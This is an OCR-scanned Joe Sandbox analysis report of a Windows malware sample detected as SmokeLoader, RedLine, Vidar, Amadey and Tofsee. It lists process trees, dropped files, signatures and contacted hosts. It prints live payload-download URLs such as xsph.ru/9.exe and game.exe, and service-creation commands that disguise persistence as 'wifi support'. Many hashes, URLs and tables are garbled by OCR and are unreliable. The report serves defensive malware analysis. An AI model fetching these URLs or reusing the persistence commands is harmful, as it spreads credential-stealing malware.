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Analysis Process: elxMVDoQF3.exe PID: 6904 Parent PID: 4752
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Analysis Process:
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General
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Analysis Process:
General
File Activities
Analysis Process:
General
Analysis Process:
General
Analysis Process:
General
Analysis Process:
General
File Activities
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Registry Activities
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General
Analysis Process:
General
File Activities
File Created
File Written
File Read
Analysis Process:
General
File Activities
File Created

File Written
File Read

Analysis Process:
General

Analysis Process:
General

Analysis Process:

elXMVDoQF3.exe PID: 6932 Parent PID: 6904

svchost.exe PID: 6964 Parent PID: 572

svchost.exe PID: 7020 Parent PID: 572

svchost.exe PID: 7056 Parent PID: 572

svchost.exe PID: 7120 Parent PID: 572

svchost.exe PID: 7160 Parent PID: 572

svchost.exe PID: 3928 Parent PID: 572

SgrmBroker.exe PID: 6264 Parent PID: 572

svchost.exe PID: 6216 Parent PID: 572

explorer.exe PID: 3352 Parent PID: 6932

svchost.exe PID: 6784 Parent PID: 572

svchost.exe PID: 3108 Parent PID: 572

rwjfsvd PID: 6856 Parent PID: 664
rwjfsvd PID: 6844 Parent PID: 6856
F805.exe PID: 6800 Parent PID: 3352

svchost.exe PID: 5580 Parent PID: 572

svchost.exe PID: 2056 Parent PID: 572

WerFault.exe PID: 4844 Parent PID: 2056

WerFault.exe PID: 5620 Parent PID: 6800

B50.exe PID: 5760 Parent PID: 3352

743F.exe PID: 6640 Parent PID: 3352

7D0A.exe PID: 6788 Parent PID: 3352

cmd.exe PID: 6360 Parent PID: 6640

conhost.exe PID: 2060 Parent PID: 6360

cmd.exe PID: 3532 Parent PID: 6640
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General 134

Analysis Process: conhost.exe PID: 5468 Parent PID: 3532 134
General 134
Analysis Process: 7D0A.exe PID: 2008 Parent PID: 6788 134
General 134
Disassembly 135
Code Analysis 135
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Windows Analysis Report eIxMVDoQF3.exe
Overview

General Information Detection Signatures Classification

Sample elxMVDoQF3.exe
Name: MALICIOUS

Analysis ID: 553015

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e....

MD5: . T

b45bf93a4b27690. Detected unpacking (overwrites its o...
SHA1L:

9ec3ad4b028abl.. Yara detected Smokeloader
SHA256: €997341ab2422f5.

y
System process connects to networ...
Infos: ﬁ E Q l'f hid Q
HTTP
& [— Detected unpacking (changes PE se...
v v

Antivirus detection for URL or domain

Most interesting Screenshot:

Amadey RedLine

Antivirus detection for dropped file
SmokelLoader Tofsee

Vidar

Multi AV Scanner detection for subm...

Yara detected Amadey bot

Range: 0-100 Benign windows process drops PE f...
Whitelisted: false

X Yara detected Vidar stealer
Confidence: 100%

Multi AV Scanner detection for doma...

Multi AV Scanner detection for dropp...

Process Tree
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= System is wl0x64
. ﬁ elxMVDoQF3.exe (PID: 6904 cmdline: "C:\Users\user\Desktop\elxMVDoQF3.exe" MD5: B45BF93A4B27690392433619C5006E8B)
o [ elxMVDoQF3.exe (PID: 6932 cmdline: "C:\Users\user\Desktop\elxMVDoQF3.exe" MD5: BA5BF93A4B27690392433619C5006E8B)
e [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
. E F805.exe (PID: 6800 cmdline: C:\Users\user\AppData\Local\Temp\F805.exe MD5: 277680BD3182EB0940BC356FF4712BEF)
. Q’ WerFault.exe (PID: 5620 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
. i} B50.exe (PID: 5760 cmdline: C:\Users\user\AppData\Local\Temp\B50.exe MD5: FFOD190D6DF636D7DE53B8B6B683BC6EE)
. i} 743F.exe (PID: 6640 cmdline: C:\Users\user\AppData\Local\Temp\743F.exe MD5: F05279062D67B1F816420725086C77AB)
. cmd.exe (PID: 6360 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\icpymrdv\ MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 2060 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
cmd.exe (PID: 3532 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\i

cpymrdv\ MD5: F3BDBE3BB6F734E357235F4D5898582D)
B conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e B sc.exe (PID: 5508 cmdline: C:\Windows\SysWOWe64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOWe64\icpymrdv\tvdcssmij.exe /d\"C:\Users\user\AppDat

a\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)
. conhost.exe (PID: 4412 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e B sc.exe (PID: 6808 cmdline: C:\Windows\SysWOWe64\sc.exe" description icpymrdv "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)
. conhost.exe (PID: 5992 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ 7DOA.exe (PID: 6788 cmdline: C:\Users\user\AppData\Local\Temp\7D0A.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)
e [ 7DOA.exe (PID: 2008 cmdline: C:\Users\user\AppData\Local\Temp\7D0A.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)
svchost.exe (PID: 6964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7020 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NchService MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7056 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7120 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7160 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 3928 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
SgrmBroker.exe (PID: 6264 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EAG)
svchost.exe (PID: 6216 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
== MpCmdRun.exe (PID: 5504 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe” -wdenable MD5: A267555174BFA53844371226F482B86B)
conhost.exe (PID: 5548 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ svchostexe (PID: 6784 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 3108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
. {} rwjfsvd (PID: 6856 cmdline: C:\Users\user\AppData\Roaming\rwjfsvd MD5: B45BF93A4B27690392433619C5006E8B)
o [ rwjfsvd (PID: 6844 cmdline: C:\Users\user\AppData\Roaming\rwjfsvd MD5: B45BF93A4B27690392433619C5006E8B)
e [ svchostexe (PID: 5580 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [ svchostexe (PID: 2056 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
. w WerFault.exe (PID: 4844 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
= cleanup

EEEEEEE

.
L]

.

.

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source Rule Description Author Strings
dump.pcap JoeSecurity_Amadey Yara detected Joe Security

Amadey bot
dump.pcap JoeSecurity_RedLine_1 Yara detected Joe Security

RedLine Stealer

Memory Dumps

Source Rule Description Author Strings
00000025.00000000.429672404.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
00000018.00000002.432619186.000000000040 JoeSecurity_Tofsee Yara detected Joe Security
0000.00000040.00020000.sdmp Tofsee
00000025.00000000.428360740.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
00000025.00000000.429057949.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
0000000F.00000002.382566740.000000000046 JoeSecurity_SmokelLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 SmokelLoader

Click to see the 13 entries
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Unpacked PEs

Source Rule Description Author Strings
15.2.rwjfsvd.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokeLoader
24.2.743F.exe.400000.0.raw.unpack JoeSecurity_Tofsee Yara detected Joe Security
Tofsee
24.2.743F.exe.570e50.1.raw.unpack JoeSecurity_Tofsee Yara detected Joe Security
Tofsee
25.2.7D0A.exe.447f910.1.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer
1.1.eIxMVDoQF3.exe.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokeLoader

Click to see the 16 entries

Sigma Overview

System Summary: -i.

Sigma detected: Copying Sensitive Files with Credential Data

Sigma detected: New Service Creation

Jbx Signature Overview

Click to jump to signature section

AV Detection:

:

Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee
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System Summary:

‘]

=

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Persistence and Installation Behavior:

=

Yara detected Amadey bot

Hooking and other Techniques for Hiding and Protection:

=

Malware Analysis System Evasion:

Anti Debugging:

aa

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Lowering of HIPS | PFW | Operating System Security Settings:

Stealing of Sensitive Information:

=

Yara detected RedLine Stealer
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Yara detected SmokeLoader

Yara detected Amadey bot

Yara detected Vidar stealer

Yara detected Tofsee

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Vidar stealer

Yara detected Tofsee

Mitre Att&ck Matrix

Privilege Credential Lateral
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement
Valid Windows Management  DLL Side-  DLL Side- Disable or Modify [0S} System Time Remote
Accounts Instrumentation Loading Loading Tools Credential Discovery Services
Dumping
Default Native API Valid Valid Deobfuscate/Decode  Input Account Discovery Remote
Accounts Accounts g Accounts Files or Capture Desktop
Information Protocol
Domain Exploitation for Client Windows Access Token Obfuscated Files or  Security File and Directory SMB/Windows
Accounts Execution Service Manipulation Information Account Discovery Admin Shares
Manager
Local Command and Scripting Logon Script Windows Software NTDS System Information Distributed
Accounts Interpreter (Mac) Service Packing Discoverya Component
Object Model
Cloud Service Execution Network Process Timestomp LSA Query Registry SSH
Accounts Logon Script Injection Secrets
Replication Launchd Rc.common  Rc.common DLL Side-Loading Cached Security Software VNC
Through Domain Discoverya
Removable Credentials
Media
External Scheduled Task Startup Startup Items File Deletion DCSync Process Windows
Remote Items Discovery Remote
Services Management
Drive-by Command and Scripting Scheduled  Scheduled Masquerading Proc Virtualization/Sandbox Shared
Compromise  Interpreter Task/Job Task/Job Filesystem Evasion [} 3 Webroot
Exploit Public- PowerShell At (Linux) At (Linux) Valid Accounts letc/passwd Application Window  Software
Facing and Discovery Deployment
Application /etc/shadow Tools
Supply Chain  AppleScript At At (Windows) Access Token Network System Owner/User  Taint Shared
Compromise (Windows) Manipulation Sniffing Discovery Content
Compromise  Windows Command Cron Cron Virtualization/Sandbox Input Remote System Replication
Software Shell Evasion Capture  Discovery Through
Dependencies Removable
and Media
Development
Tools
Compromise  Unix Shell Launchd Launchd Process Keylogging Local Groups Component
Software Injection Object Model
Supply Chain and
Distributed
COoM
Compromise Visual Basic Scheduled  Scheduled Task Hidden Files and GUIl Input  Domain Groups Exploitation of
Hardware Task Directories Capture Remote
Supply Chain Services

Copyright Joe Security LLC 2022

Collection Exfiltration

Archive Exfiltration Over Other
Collected  Network Medium

Data

Data from  Exfiltration Over

Local Bluetooth

System

Input Automated Exfiltration

Capture

Input Scheduled Transfer

Capture

Keylogging Data Transfer Size
Limits

GUI Input  Exfiltration Over C2

Capture Channel

Web Exfiltration Over

Portal Alternative Protocol

Capture

Credential Exfiltration Over

API Symmetric Encrypted

Hooking  Non-C2 Protocol

Data Exfiltration Over

Staged Asymmetric Encrypted
Non-C2 Protocol

Local Data Exfiltration Over

Staging Unencrypted/Obfuscated
Non-C2 Protocol

Remote Exfiltration Over

Data Physical Medium

Staging

Screen Exfiltration over USB

Capture

Email Commonly Used Port

Collection
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Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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v Aa

Recycle Bin  ZQIXMVQ

Acrobat BNAGMGS... SU, (N.
"!.

LELE e

-

DUUDTUE Qdl

N
HH 0 Type here to search it

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
elxMVDoQF3.exe
elxMVDoQF3.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\7D0A.exe
C:\Users\user\AppData\Local\Temp\F805.exe
C:\Users\user\AppData\Local\Temp\B50.exe
C:\Users\user\AppData\Local\Temp\tvdcssmj.exe
C:\Users\user\AppData\Local\Temp\E5C8.exe
C:\Users\user\AppData\Local\Temp\3A08.exe
C:\Users\user\AppData\Local\Temp\743F.exe
C:\Users\user\AppData\Local\Temp\7DO0A.exe
C:\Users\user\AppData\Roaming\rwjfsvd
C:\Users\user\AppData\Local\Temp\1547.exe
C:\Users\user\AppData\Local\Temp\27D7.exe
C:\Users\user\AppData\Local\Temp\6CF.exe
C:\Users\user\AppData\Local\Temp\F6CO.exe
C:\Users\user\AppData\Local\Temp\1FD7.exe
C:\Users\user\AppData\Local\Temp\1FD7.exe
Copyright Joe Security LLC 2022

ﬂxg

Excel 2016

wg

Word 2016

Detection

38%

100%

Detection
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
34%

Scanner

Virustotal

Label

Joe Sandbox ML

Scanner

Avira

Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML

Metadefender

Label
HEUR/AGEN.1211353

Link

Browse

Link

Browse
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https://www.virustotal.com/gui/file/e997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4f94859cc234e2f8/detection/f-e997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4f94859cc234e2f8-1642127405
https://www.metadefender.com/#!/results/file/bzIyMDExNHVfM3BRWXFFNEpfVEtDWUtOZWQ/regular/analysis



https://www.metadefender.com/#!/results/file/bzIyMDExM3dwaTVCMnFSbVRjWXczZkhZcEI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDExNHVfM3BRWXFFNEpfVEtDWUtOZWQ/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDExMzZ2NU9wbWZHTU5TTnh4WkdCY3g/regular/analysis

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/ftempuri.org/Entity/ld12Response 0% URL Reputation safe
MpyI8ST24ITLRR0GHNG  100%  URLRepumton mawere
http:/itempuri.org/ 0% URL Reputation safe
http:/itempuri.org/Entity/ld2Response 0% URL Reputation safe
http:/ftempuri.org/Entity/ld21Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld15Response 0% URL Reputation safe
http:ifhttps://api.ip.sb/ip 0% URL Reputation safe

http:ifcrl.ver) 0% Avira URL Cloud safe
http:/itempuri.org/Entity/ld24Response 0% URL Reputation safe

http:ifhttps://dynamic.t 0% URL Reputation safe
http:/itempuri.org/Entity/ld5Response 0% URL Reputation safe

http:/ftempuri.org/Entity/ld10Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld8Response 0% URL Reputation safe
http://data-host-coin-8.com/game.exe 0% URL Reputation safe
http:i/https://www.tiktok.com/legal/report 0% URL Reputation safe
http:/ftempuri.org/Entity/ld13Response 0% URL Reputation safe
http:/ftempuri.org/Entity/ld22Response 0% URL Reputation safe
http:ifhttps://www.tiktok.com/legal/report/feedback 0% URL Reputation safe
http:i/https://goo.su/abhF 0% Avira URL Cloud safe
http:i/https://get.adob 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
unicupload.top 54.38.220.85 true false high
host-data-coin-11.com 94.142.143.91 true false high
cdn.discordapp.com 162.159.133.233 true false high
goo.su 172.67.139.105 true false high
transfer.sh 144.76.136.153 true false high
a0621298.xsph.ru 141.8.194.74 true false high
data-host-coin-8.com 94.142.143.91 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://a0621298.xsph.ru/9.exe false high

http:ifhttps:/itransfer.sh/get/ug3XSe/5.exe false high
http://data-host-coin-8.com/game.exe false e URL Reputation: safe unknown
http:i/https://goo.su/abhF false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries
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https://www.virustotal.com/gui/url/46445c645459913987cf7aaab76debbc6a4f23bd766e48e1be1a70389fdf27b1/detection/u-46445c645459913987cf7aaab76debbc6a4f23bd766e48e1be1a70389fdf27b1-1642114864
https://www.virustotal.com/gui/url/5da57ab35a23b72027b0e8918a4925be72084f3bb08f1d0e18057cff121dd016/detection/u-5da57ab35a23b72027b0e8918a4925be72084f3bb08f1d0e18057cff121dd016-1642011803
https://www.virustotal.com/gui/url/46445c645459913987cf7aaab76debbc6a4f23bd766e48e1be1a70389fdf27b1/detection/u-46445c645459913987cf7aaab76debbc6a4f23bd766e48e1be1a70389fdf27b1-1642114864
https://www.virustotal.com/gui/url/5da57ab35a23b72027b0e8918a4925be72084f3bb08f1d0e18057cff121dd016/detection/u-5da57ab35a23b72027b0e8918a4925be72084f3bb08f1d0e18057cff121dd016-1642011803

Contacted IPs

Public

P Domain

172.67.139.105 goo.su
86.107.197.138 unknown
54.38.220.85 unicupload.top
162.159.133.233

144.76.136.153 transfer.sh

cdn.discordapp.com

host-data-coin-11.com

Country Flag ASN ASN Name Malicious
16816628199 uknown  Neterands = 1406l DIGTALOCEANASNUS e
United States = 13335 CLOUDFLARENETUS false
Romania '] 39855 MOD-EUNL false
France [T} 16276 OVHFR false
United States = 13335 CLOUDFLARENETUS false
Germany - 24940 HETZNER-ASDE false
Russian Federation - 35196 IHOR-ASRU false

94.142.143.91

141.8.194.74

Private

P
192.168.2.1

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Copyright Joe Security LLC 2022

a0621298.xsph.ru

SPRINTHOSTRU false

Russian Federation 35278

34.0.0 Boulder Opal
553015

14.01.2022
04:57:29
CloudBasic

Oh 14m 40s

false

light
elxMVDoQF3.exe
default.jbs
Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
45

N O o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]

default

Timeout

MAL

mal100.troj.spyw.evad. WinEXE@44/29@81/12
e Successful, ratio: 100%

e Successful, ratio: 11.4% (good quality ratio 8.3%)
e Quality average: 55.2%
e Quality standard deviation: 39.9%

e Successful, ratio: 63%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All
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Simulations

Behavior and APIs

Time

04:58:59

04:59:07
04:59:11
04:59:21
04:59:26
04:59:50
05:00:11

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context

Dropped Files

No context

Type
Task Scheduler

API Interceptor
API Interceptor
API Interceptor
API Interceptor
Task Scheduler

API Interceptor

Created / dropped Files

Description

Run new task: Firefox Default Browser Agent BDC112EOEO0B58A5 path: C:\Users\user\AppData\Roaming\rwj
fsvd

7x Sleep call for process: svchost.exe modified

1x Sleep call for process: B50.exe modified

1x Sleep call for process: WerFault.exe modified

1x Sleep call for process: MpCmdRun.exe modified

Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe

17x Sleep call for process: 7D0A.exe modified

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_F805.exe_48ecc3e4e54598c0d23915ff165770ab2c7d13d_b7f76116_14fa801b\Repor

t.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.8138022633057784

Encrypted: false

SSDEEP: 96:EfFrOTL6mMie0Q0J7R3V6tpXIQcQecbtycEfcw3W+HbHG/8BRTf308Fa9iVIOyWYn:KQHEmM68HQOIrjIg/u7sWS2741tL8
MD5: 02F22F60BF93F5956D9E0B210CA151CE

SHAL: 66D6827F797EDCCAA264B81BCC3E7FBI09E9100D

SHA-256: B2C5618F83C491E93A60107D55E2F7519CF031D12FAD4353A29803132981808A

SHA-512: F0040663174C0B24C1F725009D6453F2176AD5967106EEBED6597098AFB4F22211232C55B7ABE42442E3CCAGF18E0D8A62B265085B4010A45A7573C30CBCO7AB
Malicious: false

Reputation: unknown

Copyright Joe Security LLC 2022
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C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_F805.exe 48ecc3e4e54598c0d23915ff165770ab2c7d13d_b7f76116 14fa801b\Repor

t.wer

Preview:

.V.ersion=1..Eve.ntTy.p.e=BEX..EventTim.e=13.286.6.38.751.8.7.7.0.3.98....Rep.ortTy.pe=2..C.ons.ent=1..UploadTime=13.
2.8.6.6.3.8.7.6.0.4.2.3.8.8.4.6....R.e.p.ortStatus=524.3.84..Rep.ortldentifier=5ffd4.277.-8.d.3.6.-4.90.a-b.b.0.8.-5d52.c.26.7.1.2.8b...1.
nte.grato.r.R.ep.ortlde.n.tifier=2b.c.7.b.0.ea-0fc4.-41d.d.-9.7b.3.-cf047517.1.146...W.0w.6.4H.0.5.t=34.4.04...W.0w.6.4.G.u.es.t.=33.2.
...N.s.A.p.p.N.am.e.=.F.8.05...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.2.9.0.-.0.0.0.1.-.0.0.1.c.-.3.3.5.c.-.7.b.8.1.4.6.0.9.d.8.0.1....T.a.r.g.e.t. A.p.p.l.d.=.W...0.
0.0.6.4.7.e.1.0.0.c.e.7.6.2.1.6.5.7.3.9.6.6.d.€.3.2.6.¢c.7.b.2.9.c.e.9.0.0.0.0.2.9.0.1...0.0.0.0.5.9.9.5.a.€.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.£.1.£.b.7.6.1.F.
8.0.5...e.x.e....T.arg.etAp.p.V.er=20.21//11//12..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96E1.tmp.csv

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

51224

3.055446752156576

false

1536:k1H13+K4FOAEgDV1/IYMBfI93WIdWIY ++RfIrRgmZ62KR0:k1H13+K4FOAEgDV1/IY MBfIO3WXWfY+A
30677AA5008D33DCAECB6ABB87E4085E

CB12B5447C47606A165E115533F3364DB62C1DC6
8026D4CB18B9EEF279D7CAC11D5D5444EB9763948206F49FB03D5674F87443D4

EO07B3AF9C8A5492CC74E236CF92CB9205CE09D1ED5C0538D8B5CEBB919B56753CEAC122A35A1C0F7BEGBF2937A3B9A1885899BBBBCCESFCDF3EBF951B4D0!
1CccC

false

unknown

l.m.a.g.e.N.am.e.,.U.n.i.qu.e.P.ro.ce.s.s.ld., Numb.erO.fThreads.,W.orkingS.etPrivatesS.ize.,HardFaultCount,Numb.erOfThrea.d.s.H.
i.g.h.W.atermark.,.CycleTim.e.,.CreateTime.,UserTime.,KernelTim.e.,Bas.e.Priority.,.PeakV.irtualSize.,V.irtualS.ize.,.P.ag.e.F.
a.u.lt.C.o.u.nt, W.orking.S.etS.ize., .PeakW.orkingsS.etSize..QuotaP.eakP.agedP.o.0.lUsage.,QuotaP.agedP.o.0lUs.ag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.Us.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.0.0lUs.a.g.e,.P.agefileUs.ag.e., PeakPag.efileUsag.e.,PrivateP.ag.e.C.o.un.
t.,.R.e.a.d.O.p.eratio.n.C.o.unt, Write.O.p.eratio.n.C.o.unt, Other0O.peration.C.ount, ReadTransferC.ount, WriteTran.s.ferC.o.u.
n.t.,.O.the.rT.ransfer.Co.u.nt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BF3.tmp.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.6955015547491628

false
96:9GiZYW1RSmgYuYRWUHBYEZMgt6iXOg+awLXuBxzQal/g8fl+zI6H3:9jZDWJ7xXTalYul+86H3
59A12074573B620DCEA59CD4A798F765

6BO5ABC99E7D2DAA912409F7EBOCD5508C7758D6
11D039B4E5777B30DEBDODD9CA2DEE09C99E98CB03B5C44417ED19BCF45F9ECA

B89E9258D37BB15B47CE85DA39EB5205D2D20AA00ABBB5D76B7B5E218DB36C451FB78DDD99D763AA622848F273DC755CBE6230C551397CD945FB4183CFCB3!
07

false

unknown

B.T.imerResolution ................. ... .. ... 15.6.25.0....B.P.a.geSiz.e. ... ... 4.0.9.6....B..N.L
m.b.er.O.fP.hys.icalPages.... ..1.0.483.15...B..L.ow.estP.hysicalP.ageNumb.er .....
...B..HighestP.hys.icalP.ag.e. N u.m. b er. e ..1.3.1.0.7.1.9....B..Allo.cationGranularity. ............... .. oo
.6.5.5.3.6.....B..M.i.n.i.m.um.U.s.er.M.o.d.e.A.d. d re.s.s. A ...........656536...B.MaximumUserModeAddress.................
.1.4.0.7.3.7.4.8.8.28.9.79.1....B.. ActlveProcessorsAfflnltyMask. e

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE37D.tmp.dmp

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 14 streams, Fri Jan 14 12:59:13 2022, 0x1205a4 type
dropped

42152

2.0066430183292843

false

192:HFRvcFZtdYOeh0kSj12U5sdyWpalMiKZOtE6VP:q/dfeOXEMu65
F628B274C6B60164101448954C45EFF3
CD463E4DE0634EA4431E69A4D900606C8DA2CBCO
3A6BADCIB83322213065A57A930945ED71C5E95E4C37A39C0845BF98849E152E

54957A5CB1C71085856DF3FB836EDED530D7A06818B7A6CF15340E6D54FA363FBB10DC27085BFDO3FB1DFIB6FE9FDC31CC3F8FOADD3FA01145DF5FB1D4B64!
35

false

unknown
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERE37D.tmp.dmp

Preview:

MDMP....... ... SeBliieie e A V(o T 8 T Xeverreanens e Ui B Genuineln
e Poacciific. Sitandard. . T.im.e. .P.ac.fic..D.ay.lig.ht T.im.e

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREAB2.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8392

3.699690043327041

false
